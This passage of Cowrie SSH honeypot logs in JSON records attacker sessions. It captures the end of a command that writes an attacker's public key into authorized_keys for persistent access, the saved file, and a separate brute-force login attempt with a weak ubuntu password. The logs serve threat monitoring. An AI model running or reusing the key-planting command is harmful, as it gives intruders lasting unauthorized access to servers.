AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.828498Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:13.055754Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:13.059656Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43646,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dcebd10e6ea","protocol":"ssh","message":"New connection: 2.57.122.208:43646 (10.17.0.5:22) [session: 2dcebd10e6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:26.488986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:26.511257Z","src_ip":"2.57.122.208","session":"2dcebd10e6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:26.617991Z","src_ip":"2.57.122.208","session":"2dcebd10e6ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:27.105437Z","src_ip":"2.57.122.208","session":"2dcebd10e6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:28.314075Z","src_ip":"2.57.122.208","session":"2dcebd10e6ea","protocol":"ssh"}